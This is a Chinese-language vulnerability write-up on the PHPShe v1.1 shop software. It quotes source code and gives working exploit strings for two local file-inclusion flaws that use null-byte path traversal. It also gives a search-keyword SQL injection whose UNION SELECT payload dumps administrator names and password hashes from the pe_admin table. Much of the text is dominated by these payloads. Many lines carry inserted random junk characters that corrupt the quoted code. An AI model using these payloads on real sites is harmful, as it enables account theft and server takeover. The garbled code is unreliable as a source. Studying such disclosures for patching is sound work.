phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
1 F* K, a/ X( m# ]4 {  d/* ========================
" S. I3 h- D% I/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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1 k  D: [* P& v$ K' R* Y//common.php
2 f0 @$ g9 w) Y" j  a) @, O2 m7 Eif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
3 |; r& H. l$ Z7 ^- d2 X+ B) F9 {!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞

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//首页文件
( v% n/ s( I4 [, W<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
7 {% w% ~  g! G) _; w! ^include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
! x+ |. C3 Z8 Epe_result();
, [  F$ P+ C" z?>
//common 文件 第15行开始
url路由配置
7 [! o  s' I) w" I) q$ V$module = $mod = $act = 'index';
9 b. `# ]: L  ~0 r  ?$ ]$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
1 U1 T% v2 E5 A* u//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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5 x+ d# v, V' `5 n* P' ~0 | 0×02 搜索注入

<code id="code2">

//product.php文件
9 N0 t# i% v7 }" g& m3 @+ bcase 'list':
$category_id = intval($id);
9 A' C% f, H! L- K$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
1 u, R- h! ^- |4 O, w" b$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
2 a* ^/ s) ^0 R' J4 \}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
* w0 W' M- Y# ^* O* R( T1 }3 Kif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
& `& @0 \% `! B& |4 D2 G$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
, o& |7 m- S: O0 ~' y/ Z) J* x1 @$sqlwhere .= " order by `product_id` desc";
- D8 J# E$ y( t* ~}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
, g/ N3 h! g7 I# l6 @$product_hotlist = product_hotlist();
//当前路径
9 \  U+ Z% l1 T$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
# n4 F% x" G( s7 I0 U# W/ ninclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
" I2 p, c" @* _, G4 b+ [/ ?1 Q{
: c( S2 e& i' C//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

0 n9 r, ?6 i! O3 \' Y$ f- o2 t& X$order_id = pe_dbhold($_g_id);

7 p' j  ]8 V# s3 _6 U$cache_payway = cache::get('payway');

; L1 K0 c: Q$ G0 F( ^% xforeach($cache_payway as $k => $v) {

/ |0 ^+ ?2 f% ~* X$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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# j! x6 l# q+ v3 e}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

) _4 q2 O: }- v, L- |- i: m  vif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

' H5 L" a* D9 M& l0 G3 e3 oforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

+ ~/ h* o/ l# K# ~echo '正在为您连接支付网站，请稍后...';

* m( v, l! {# `7 Winclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

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}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

/ b  B& }  P* f" m0 L1 Sbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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